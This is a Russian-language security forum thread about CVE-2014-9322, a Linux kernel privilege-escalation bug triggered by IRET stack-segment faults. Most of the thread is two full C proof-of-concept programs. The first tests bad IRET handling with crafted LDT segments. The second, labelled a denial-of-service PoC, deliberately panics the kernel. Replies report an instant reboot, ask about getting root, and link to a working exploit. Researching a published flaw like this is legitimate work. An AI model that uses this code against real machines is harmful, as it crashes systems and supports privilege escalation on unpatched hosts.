Старый 17.12.2014, 13:09   #1
SynQ
 
Регистрация: 11.07.2010
Сообщений: 936
Репутация: 350
По умолчанию CVE-2014-9322 Linux kernel #SS on iret privilege escalation x86_64

CVE-2014-9322


Очередной потенциально вкусный баг.

Цитата:
@hackerfantastic: CVE-2014-9322 looks pretty interesting, user controlled pointer in kernel land pointing to operating system tables / structs when SS fault.
Цитата:
CVE-2014-9322: local privilege escalation, all kernel versions

Any kernel that is not patched against CVE-2014-9090 is vulnerable to
privilege escalation due to incorrect handling of a #SS fault caused
by an IRET instruction. In particular, if IRET executes on a
writeable kernel stack (this was always the case before 3.16 and is
sometimes the case on 3.16 and newer), the assembly function
general_protection will execute with the user's gsbase and the
kernel's gsbase swapped.

This is likely to be easy to exploit for privilege escalation, except
on systems with SMAP or UDEREF. On those systems, assuming that the
mitigation works correctly, the impact of this bug may be limited to
massive memory corruption and an eventual crash or reboot.
commit с фиксом.

https://bugzilla.redhat.com/show_bug.cgi?id=1172806

poc:
Код:
#define _GNU_SOURCE

#include <sys/time.h>
#include <time.h>
#include <stdlib.h>
#include <sys/syscall.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
#include <inttypes.h>
#include <sys/mman.h>
#include <sys/signal.h>
#include <sys/ucontext.h>
#include <asm/ldt.h>
#include <err.h>
#include <setjmp.h>
#include <stddef.h>
#include <stdbool.h>
#include <sys/ptrace.h>
#include <sys/user.h>

struct selectors {
	unsigned short cs, gs, fs, ss;
};

static bool has_code16, has_data16, has_npcode32, has_npdata32;

static int gdt_data16_idx, gdt_npdata32_idx;

static void sethandler(int sig, void (*handler)(int, siginfo_t *, void *),
		       int flags)
{
	struct sigaction sa;
	memset(&sa, 0, sizeof(sa));
	sa.sa_sigaction = handler;
	sa.sa_flags = SA_SIGINFO | flags;
	sigemptyset(&sa.sa_mask);
	if (sigaction(sig, &sa, 0))
		err(1, "sigaction");
}

static void clearhandler(int sig)
{
	struct sigaction sa;
	memset(&sa, 0, sizeof(sa));
	sa.sa_handler = SIG_DFL;
	sigemptyset(&sa.sa_mask);
	if (sigaction(sig, &sa, 0))
		err(1, "sigaction");
}

static unsigned char stack16[65536] __attribute__((aligned(4096)));

asm (".pushsection .text\n\t"
     ".type int3, @function\n\t"
     ".align 4096\n\t"
     "int3:\n\t"
     "mov %ss,%eax\n\t"
     "int3\n\t"
     ".size int3, . - int3\n\t"
     ".align 4096, 0xcc\n\t"
     ".popsection");
extern char int3[4096];

static void add_ldt(const struct user_desc *desc, bool *var, const char *name)
{
	if (syscall(SYS_modify_ldt, 1, desc, sizeof(*desc)) == 0) {
		*var = true;
	} else {
		printf("[NOTE]\tFailed to create %s segment\n", name);
		*var = false;
	}
}

static void setup_ldt(void)
{
	if ((unsigned long)stack16 > (1ULL << 32) - sizeof(stack16))
		errx(1, "stack16 is too high\n");
	if ((unsigned long)int3 > (1ULL << 32) - sizeof(int3))
		errx(1, "int3 is too high\n");

	// Borrowed from a test case by hpa
	const struct user_desc code16_desc = {
		.entry_number    = 0,
		.base_addr       = (unsigned long)int3,
		.limit           = 4095,
		.seg_32bit       = 0,
		.contents        = 2, /* Code, not conforming */
		.read_exec_only  = 0,
		.limit_in_pages  = 0,
		.seg_not_present = 0,
		.useable         = 0
	};
	add_ldt(&code16_desc, &has_code16, "code16");

	const struct user_desc data16_desc = {
		.entry_number    = 1,
		.base_addr       = (unsigned long)stack16,
		.limit           = 0xffff,
		.seg_32bit       = 0,
		.contents        = 0, /* Data, grow-up */
		.read_exec_only  = 0,
		.limit_in_pages  = 0,
		.seg_not_present = 0,
		.useable         = 0
	};
	add_ldt(&data16_desc, &has_data16, "data16");

	const struct user_desc npcode32_desc = {
		.entry_number    = 3,
		.base_addr       = (unsigned long)int3,
		.limit           = 4095,
		.seg_32bit       = 1,
		.contents        = 2, /* Code, not conforming */
		.read_exec_only  = 0,
		.limit_in_pages  = 0,
		.seg_not_present = 1,
		.useable         = 0
	};
	add_ldt(&npcode32_desc, &has_npcode32, "npcode32");

	const struct user_desc npdata32_desc = {
		.entry_number    = 4,
		.base_addr       = (unsigned long)stack16,
		.limit           = 0xffff,
		.seg_32bit       = 1,
		.contents        = 0, /* Data, grow-up */
		.read_exec_only  = 0,
		.limit_in_pages  = 0,
		.seg_not_present = 1,
		.useable         = 0
	};
	add_ldt(&npdata32_desc, &has_npdata32, "npdata32");

	struct user_desc gdt_data16_desc = {
		.entry_number    = -1,
		.base_addr       = (unsigned long)stack16,
		.limit           = 0xffff,
		.seg_32bit       = 0,
		.contents        = 0, /* Data, grow-up */
		.read_exec_only  = 0,
		.limit_in_pages  = 0,
		.seg_not_present = 0,
		.useable         = 0
	};

	if (syscall(SYS_set_thread_area, &gdt_data16_desc) == 0) {
		printf("[WARN]\tset_thread_area allocated data16 at index %d\n",
		       gdt_data16_desc.entry_number);
		gdt_data16_idx = gdt_data16_desc.entry_number;
	} else {
		printf("[OK]\tset_thread_area refused 16-bit data\n");
	}

	struct user_desc gdt_npdata32_desc = {
		.entry_number    = -1,
		.base_addr       = (unsigned long)stack16,
		.limit           = 0xffff,
		.seg_32bit       = 1,
		.contents        = 0, /* Data, grow-up */
		.read_exec_only  = 0,
		.limit_in_pages  = 0,
		.seg_not_present = 1,
		.useable         = 0
	};

	if (syscall(SYS_set_thread_area, &gdt_npdata32_desc) == 0) {
		printf("[WARN]\tset_thread_area allocated npdata32 at index %d\n",
		       gdt_npdata32_desc.entry_number);
		gdt_npdata32_idx = gdt_npdata32_desc.entry_number;
	} else {
		printf("[OK]\tset_thread_area refused 16-bit data\n");
	}
}

static gregset_t initial_regs, requested_regs, resulting_regs;

static volatile unsigned short sig_cs, sig_ss;
static volatile sig_atomic_t sig_trapped, sig_err, sig_trapno;

#ifdef __x86_64__
# define REG_IP REG_RIP
# define REG_SP REG_RSP
# define REG_AX REG_RAX

static unsigned short *ssptr(ucontext_t *ctx)
{
	struct selectors *sels = (void *)&ctx->uc_mcontext.gregs[REG_CSGSFS];
	return &sels->ss;
}

static unsigned short *csptr(ucontext_t *ctx)
{
	struct selectors *sels = (void *)&ctx->uc_mcontext.gregs[REG_CSGSFS];
	return &sels->cs;
}
#else
# define REG_IP REG_EIP
# define REG_SP REG_ESP
# define REG_AX REG_EAX

static greg_t *ssptr(ucontext_t *ctx)
{
	return &ctx->uc_mcontext.gregs[REG_SS];
}

static greg_t *csptr(ucontext_t *ctx)
{
	return &ctx->uc_mcontext.gregs[REG_CS];
}
#endif

static int nerrs;

static void sigusr1(int sig, siginfo_t *info, void *ctx_void)
{
	ucontext_t *ctx = (ucontext_t*)ctx_void;

	memcpy(&initial_regs, &ctx->uc_mcontext.gregs, sizeof(gregset_t));

	*csptr(ctx) = sig_cs;
	*ssptr(ctx) = sig_ss;

	ctx->uc_mcontext.gregs[REG_IP] =
		(sig_cs == 0x7 || sig_cs == 0x1f) ? 0 : (unsigned long)&int3;
	ctx->uc_mcontext.gregs[REG_SP] = (unsigned long)0x8badf00d5aadc0deULL;
	ctx->uc_mcontext.gregs[REG_AX] = 0;

	memcpy(&requested_regs, &ctx->uc_mcontext.gregs, sizeof(gregset_t));
	requested_regs[REG_AX] = *ssptr(ctx);	/* The asm code does this. */

	return;
}

static void sigtrap(int sig, siginfo_t *info, void *ctx_void)
{
	ucontext_t *ctx = (ucontext_t*)ctx_void;

	sig_err = ctx->uc_mcontext.gregs[REG_ERR];
	sig_trapno = ctx->uc_mcontext.gregs[REG_TRAPNO];

	unsigned short ss;
	asm ("mov %%ss,%0" : "=r" (ss));

	greg_t asm_ss = ctx->uc_mcontext.gregs[REG_AX];
	if (asm_ss != sig_ss && sig == SIGTRAP) {
		printf("[FAIL]\tSIGTRAP: ss = %hx, frame ss = %hx, ax = %llx\n",
		       ss, *ssptr(ctx), (unsigned long long)asm_ss);
		nerrs++;
	}

	memcpy(&resulting_regs, &ctx->uc_mcontext.gregs, sizeof(gregset_t));
	memcpy(&ctx->uc_mcontext.gregs, &initial_regs, sizeof(gregset_t));

	sig_trapped = sig;
}

static char altstack_data[SIGSTKSZ];

int cs_bitness(unsigned short cs)
{
	uint32_t valid = 0, ar;
	asm ("lar %[cs], %[ar]\n\t"
	     "jnz 1f\n\t"
	     "mov $1, %[valid]\n\t"
	     "1:"
	     : [ar] "=r" (ar), [valid] "+rm" (valid)
	     : [cs] "r" (cs));

	if (!valid)
		return -1;

	bool db = (ar & (1 << 22));
	bool l = (ar & (1 << 21));

	if (!(ar & (1<<11)))
	    return -1;	/* Not code. */

	if (l && !db)
		return 64;
	else if (!l && db)
		return 32;
	else if (!l && !db)
		return 16;
	else
		return -1;	/* Unknown bitness. */
}

int find_cs(int bitness)
{
	unsigned short my_cs;

	asm ("mov %%cs,%0" :  "=r" (my_cs));

	if (cs_bitness(my_cs) == bitness)
		return my_cs;
	if (cs_bitness(my_cs + (2 << 3)) == bitness)
		return my_cs + (2 << 3);
	if (my_cs > (2<<3) && cs_bitness(my_cs - (2 << 3)) == bitness)
	    return my_cs - (2 << 3);
	if (cs_bitness(0x7) == bitness)
		return 0x7;

	printf("[WARN]\tCould not find %d-bit CS\n", bitness);
	return -1;
}

static int do_test(int cs_bits, bool use_16bit_ss, int force_ss)
{
	int cs = find_cs(cs_bits);
	if (cs == -1) {
		printf("[SKIP]\tCode segment unavailable for %d-bit CS, %d-bit SS\n",
		       cs_bits, use_16bit_ss ? 16 : 32);
		return 0;
	}

	if (force_ss != -1) {
		sig_ss = force_ss;
	} else {
		if (use_16bit_ss) {
			if (!has_data16) {
				printf("[SKIP]\tData segment unavailable for %d-bit CS, 16-bit SS\n",
				       cs_bits);
				return 0;
			}
			sig_ss = (1 << 3) | 7;	/* LDT selector 1, RPL = 3 */
		} else {
			asm volatile ("mov %%ss,%0" : "=r" (sig_ss));
		}
	}

	sig_cs = cs;

	printf("[RUN]\t%d-bit CS (%hx), %d-bit SS (%hx%s)\n",
	       cs_bits, sig_cs, use_16bit_ss ? 16 : 32, sig_ss,
	       (sig_ss & 4) ? "" : ", GDT");

	raise(SIGUSR1);

	nerrs = 0;

	for (int i = 0; i < NGREG; i++) {
		greg_t req = requested_regs[i], res = resulting_regs[i];
		if (i == REG_TRAPNO || i == REG_IP)
			continue;	/* don't care */
		if (i == REG_SP) {
			printf("\tSP: %llx -> %llx\n", (unsigned long long)req,
			       (unsigned long long)res);
			if (res == (req & 0xFFFFFFFF))
				continue;  /* OK; not expected to work */
		}

		bool ignore_reg = false;
#if __i386__
		if (i == REG_UESP)
			ignore_reg = true;
#else
		if (i == REG_CSGSFS) {
			struct selectors *req_sels =
				(void *)&requested_regs[REG_CSGSFS];
			struct selectors *res_sels =
				(void *)&resulting_regs[REG_CSGSFS];
			if (req_sels->cs != res_sels->cs) {
				printf("[FAIL]\tCS mismatch: requested 0x%hx; got 0x%hx\n",
				       req_sels->cs, res_sels->cs);
				nerrs++;
			}

			if (req_sels->ss != res_sels->ss) {
				printf("[FAIL]\tSS mismatch: requested 0x%hx; got 0x%hx\n",
				       req_sels->ss, res_sels->ss);
				nerrs++;
			}

			continue;
		}
#endif

		/* Sanity check on the kernel */
		if (i == REG_AX && requested_regs[i] != resulting_regs[i]) {
			printf("[FAIL]\tAX (saved SP) mismatch: requested 0x%llx; got 0x%llx\n",
			       (unsigned long long)requested_regs[i],
			       (unsigned long long)resulting_regs[i]);
			nerrs++;
			continue;
		}

		if (requested_regs[i] != resulting_regs[i] && !ignore_reg) {
			printf("[FAIL]\tReg %d mismatch: requested 0x%llx; got 0x%llx\n",
			       i, (unsigned long long)requested_regs[i],
			       (unsigned long long)resulting_regs[i]);
			nerrs++;
		}
	}

	if (nerrs == 0)
		printf("[OK]\tall registers okay\n");

	return nerrs;
}

static int test_bad_iret(int cs_bits, unsigned short ss, int force_cs)
{
	int cs = force_cs == -1 ? find_cs(cs_bits) : force_cs;
	if (cs == -1)
		return 0;

	sig_cs = cs;
	sig_ss = ss;

	printf("[RUN]\t%d-bit CS (%hx), bogus SS (%hx)\n",
	       cs_bits, sig_cs, sig_ss);

	sig_trapped = 0;
	raise(SIGUSR1);
	if (sig_trapped) {
		char errdesc[32] = "";
		if (sig_err) {
			const char *src = (sig_err & 1) ? " EXT" : "";
			const char *table;
			if ((sig_err & 0x6) == 0x0)
				table = "GDT";
			else if ((sig_err & 0x6) == 0x4)
				table = "LDT";
			else if ((sig_err & 0x6) == 0x2)
				table = "IDT";
			else
				table = "???";

			sprintf(errdesc, "%s%s index %d, ",
				table, src, sig_err >> 3);
		}

		char trapname[32];
		if (sig_trapno == 13)
			strcpy(trapname, "GP");
		else if (sig_trapno == 11)
			strcpy(trapname, "NP");
		else if (sig_trapno == 12)
			strcpy(trapname, "SS");
		else if (sig_trapno == 32)
			strcpy(trapname, "IRET");  /* X86_TRAP_IRET */
		else
			sprintf(trapname, "%d", sig_trapno);

		printf("[OK]\tGot #%s(0x%lx) (i.e. %s%s)\n",
		       trapname, (unsigned long)sig_err,
		       errdesc, strsignal(sig_trapped));
		return 0;
	} else {
		printf("[FAIL]\tDid not get SIGSEGV\n");
		return 1;
	}
}

int main()
{
	int total_nerrs = 0;
	unsigned short my_cs, my_ss;

#ifdef __x86_64__
	printf("[WARN]\t***** The 64-bit version requires a special kernel. *****\n");
	printf("[WARN]\t***** Build with -m32. *****\n");
	usleep(1000000);
#endif

	asm volatile ("mov %%cs,%0" : "=r" (my_cs));
	asm volatile ("mov %%ss,%0" : "=r" (my_ss));
	setup_ldt();

	stack_t stack = {
		.ss_sp = altstack_data,
		.ss_size = SIGSTKSZ,
	};
	if (sigaltstack(&stack, NULL) != 0)
		err(1, "sigaltstack");

	sethandler(SIGUSR1, sigusr1, 0);
	sethandler(SIGTRAP, sigtrap, SA_ONSTACK);

	total_nerrs += do_test(64, false, -1);
	total_nerrs += do_test(32, false, -1);
	total_nerrs += do_test(16, false, -1);
	total_nerrs += do_test(64, true, -1);
	total_nerrs += do_test(32, true, -1);
	total_nerrs += do_test(16, true, -1);

	if (gdt_data16_idx) {
		total_nerrs += do_test(64, true, (gdt_data16_idx << 3) | 3);
		total_nerrs += do_test(32, true, (gdt_data16_idx << 3) | 3);
		total_nerrs += do_test(16, true, (gdt_data16_idx << 3) | 3);
	}

	clearhandler(SIGTRAP);
	sethandler(SIGSEGV, sigtrap, SA_ONSTACK);
	sethandler(SIGBUS, sigtrap, SA_ONSTACK);
	sethandler(SIGILL, sigtrap, SA_ONSTACK);  /* 32-bit kernels do this */

	test_bad_iret(64, (2 << 3) | 7, -1);
	test_bad_iret(32, (2 << 3) | 7, -1);
	test_bad_iret(16, (2 << 3) | 7, -1);

	test_bad_iret(64, my_cs, -1);
	test_bad_iret(32, my_cs, -1);
	test_bad_iret(16, my_cs, -1);

	/* IRET will fail with #NP */
	test_bad_iret(32, my_ss, (3 << 3) | 7);

	/* IRET will fail with #SS on the espfix stack */
	test_bad_iret(32, (4 << 3) | 7, -1);

	/* IRET will fail with #SS on the normal stack */
	if (gdt_npdata32_idx)
		test_bad_iret(32, (gdt_npdata32_idx << 3) | 3, -1);

	return total_nerrs ? 1 : 0;
}
SynQ вне форума   Ответить с цитированием
Старый 17.12.2014, 13:48   #2
12309
 
Регистрация: 25.12.2011
Сообщений: 265
Репутация: 33
По умолчанию

opensuse 13.1 x86_64 3.11.10-7-desktop - инстант ребут.
12309 вне форума   Ответить с цитированием
Старый 17.12.2014, 19:44   #3
dexter
 
Регистрация: 26.02.2013
Сообщений: 3
Репутация: 0
По умолчанию

У кого-то получилось рутануться ?
dexter вне форума   Ответить с цитированием
Старый 03.02.2015, 16:34   #4
SynQ
 
Регистрация: 11.07.2010
Сообщений: 936
Репутация: 350
По умолчанию

write-up от Рафаля:
http://labs.bromium.com/2015/02/02/e...ge-escalation/

PoC по нему:
Код:
/* ----------------------------------------------------------------------------------------------------
 * cve-2014-9322_poc.c
 * 
 * arch/x86/kernel/entry_64.S in the Linux kernel before 3.17.5 does not
 * properly handle faults associated with the Stack Segment (SS) segment
 * register, which allows local users to gain privileges by triggering an IRET
 * instruction that leads to access to a GS Base address from the wrong space.
 * 
 * This is a POC to reproduce vulnerability. No exploitation here, just simple kernel panic.
 * 
 * I have no merit to writing this poc, I just implemented first part of Rafal Wojtczuk article (this guy is a genius!)
 * More info at : http://labs.bromium.com/2015/02/02/exploiting-badiret-vulnerability-cve-2014-9322-linux-kernel-privilege-escalation/
 * 
 * 
 * Compile with gcc -fno-stack-protector -Wall -o cve-2014-9322_poc cve-2014-9322_poc.c  -lpthread
 * 
 * Emeric Nasi - www.sevagas.com
 *-----------------------------------------------------------------------------------------------------*/
  
  // Only works on x86_64 platform
 #ifdef __x86_64__
  
/* -----------------------   Includes ----------------------------*/
#define _GNU_SOURCE
#include <stdio.h> 
#include <stdlib.h>
#include <time.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/syscall.h>
#include <sys/mman.h>
#include <asm/ldt.h>
#include <pthread.h>
#include <sys/time.h>
#include <inttypes.h>
#include <stdbool.h>
#include <errno.h>
#include <sys/user.h>
 
 
 
/* -----------------------   definitions ----------------------------*/
 
 
#define TARGET_KERNEL_MIN "3.0.0"
#define TARGET_KERNEL_MAX "3.17.4"
#define EXPLOIT_NAME "cve-2014-9322"
#define EXPLOIT_TYPE DOS
 
 
#define FALSE_SS_BASE	0x10000UL
#define MAP_SIZE		0x10000
 
 
/* -----------------------   Global variables ----------------------------*/
 
 
struct user_desc new_stack_segment;
 
 
/* -----------------------   functions ----------------------------*/
 
 
/**
 * Creates a new segment in Local Descriptor Table
 */
static bool add_ldt(struct user_desc *desc, const char *name)
{
	if (syscall(SYS_modify_ldt, 1, desc, sizeof(struct user_desc)) == 0) 
	{
		return true;
	} 
	else 
	{
		printf("[cve_2014_9322 error]: Failed to create %s segment\n", name);
		printf("modify_ldt failed, %s\n", strerror(errno));
		return false;
	}
}
 
 
int FLAG = 0;
 
void * segManipulatorThread(void * none)
{
	new_stack_segment.entry_number    = 0x12;
	new_stack_segment.base_addr       = 0x10000;
	new_stack_segment.limit           = 0xffff;
	new_stack_segment.seg_32bit       = 1;
	new_stack_segment.contents        = MODIFY_LDT_CONTENTS_STACK; /* Data, grow-up */
	new_stack_segment.read_exec_only  = 0;
	new_stack_segment.limit_in_pages  = 0;
	new_stack_segment.seg_not_present = 0;
	new_stack_segment.useable         = 0;
	new_stack_segment.lm = 0;
 	
	// Create a new stack segment
	add_ldt(&new_stack_segment, "newSS");
 	
	// Wait for main thread to use new stack segment
	sleep(3);	
 
	// Invalidate stack segment 
	new_stack_segment.seg_not_present = 1;
	add_ldt(&new_stack_segment, "newSS disable");
	FLAG = 1;
	sleep(15);
 	
	return NULL;
}
 
/**
 * DOS poc for cve_2014_9322 vulnerability
 */
int main()
{
	pthread_t thread1;
	uint8_t *code;
	 
	printf("[cve_2014_9322]: Preparing to exploit.\n");
 	
	// map area for false SS
	code = (uint8_t *)mmap((void *)FALSE_SS_BASE, MAP_SIZE, PROT_READ|PROT_WRITE, MAP_FIXED|MAP_ANON|MAP_PRIVATE, -1, 0);
	if (code != (uint8_t *) FALSE_SS_BASE) 
	{
		fprintf(stderr, "[cve_2014_9322 Error]: Unable to map memory at address: %lu\n", FALSE_SS_BASE);
		return -1;
	}
    
    printf("[cve_2014_9322]:  Panic!\n");
	if(pthread_create(&thread1, NULL, segManipulatorThread, NULL)!= 0)
	{
		perror("[cve_2014_9322 error]: pthread_create");
		return false;	
	}
 	
	// Wait for segManipulatorThread to create new stack segment
 	sleep(1);
    // Set  stack segment to newly created one in segManipulatorThread
	asm volatile ("mov %0, %%ss;"
		:        
		:"r" (0x97)
	);
	
	while(FLAG == 0){};
	sleep(4);
 
	return 0;
}
 
 
#endif // __x86_64__

Последний раз редактировалось SynQ; 05.03.2015 в 12:32..
SynQ вне форума   Ответить с цитированием
Старый 04.07.2015, 11:49   #5
12309
 
Регистрация: 25.12.2011
Сообщений: 265
Репутация: 33
По умолчанию

POC для федоры 20, возможно для других дистров, еще не проверял.
http://site.pi3.com.pl/exp/p_cve-2014-9322.tar.gz
12309 вне форума   Ответить с цитированием
Старый 04.07.2015, 14:29   #6
SynQ
 
Регистрация: 11.07.2010
Сообщений: 936
Репутация: 350
По умолчанию

К эксплойту, что запостил 12309, сам пост Адама Заброки:
http://blog.pi3.com.pl/?p=509
SynQ вне форума   Ответить с цитированием
Старый 18.12.2015, 14:14   #7
SynQ
 
Регистрация: 11.07.2010
Сообщений: 936
Репутация: 350
По умолчанию

Тот же баг, но эксплуатация в "FreeBSD" (кавычки, потому что речь о PS4):
https://cturt.github.io/ps4-3.html
SynQ вне форума   Ответить с цитированием
Ответ

Метки
linux kernel, privilege escalation

Опции темы
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход



Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2017, Jelsoft Enterprises Ltd. Перевод: zCarot